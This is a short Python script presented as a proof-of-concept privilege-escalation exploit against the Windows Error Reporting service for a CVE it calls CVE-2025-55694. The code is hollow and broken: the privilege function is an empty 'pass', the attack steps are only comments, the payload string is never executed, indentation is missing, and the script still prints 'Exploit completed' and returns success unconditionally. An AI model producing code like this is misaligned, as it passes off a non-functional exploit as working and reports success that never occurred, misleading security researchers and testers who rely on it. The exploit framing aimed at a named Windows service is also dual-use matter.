The following code is for security research and authorized testing only.
python
# CVE-2025-55694 - Windows Error Reporting Privilege Escalation PoC
# This is a conceptual PoC demonstrating the exploitation approach
# Note: Actual exploitation requires specific Windows API calls targeting WER service
import ctypes
import os
import subprocess
import sys
# Windows API constants
PROCESS_ALL_ACCESS = 0x1F0FFF
SE_DEBUG_NAME = "SeDebugPrivilege"
def enable_privilege(privilege_name):
"""Enable a specific Windows privilege for the current process"""
pass # Implementation uses OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges
def exploit_wer_service():
"""
Conceptual exploit for CVE-2025-55694
Targets Windows Error Reporting service (WerFault.exe / WERSvc)
which runs with SYSTEM privileges but has improper access control
"""
print("[*] CVE-2025-55694 - WER Privilege Escalation PoC")
print("[*] Targeting Windows Error Reporting service...")
# Step 1: Locate WER service process
# WER service typically runs as: WerSvc or WerFault.exe
wer_processes = ["WerSvc", "WerFault.exe", "wermgr.exe"]
# Step 2: Exploit improper access control in WER
# The vulnerability allows low-privileged users to interact with
# WER service interfaces in unintended ways
# Step 3: Inject code or hijack execution flow
# Due to improper ACL on WER-related objects (files, registry, pipes),
# an attacker can redirect or manipulate WER operations
# Step 4: Execute payload with SYSTEM privileges
payload_cmd = "whoami /priv" # Verify privilege elevation
print("[+] Exploit completed - check if running as SYSTEM")
return True
if __name__ == "__main__":
if sys.platform != "win32":
print("[-] This PoC requires Windows")
sys.exit(1)
exploit_wer_service()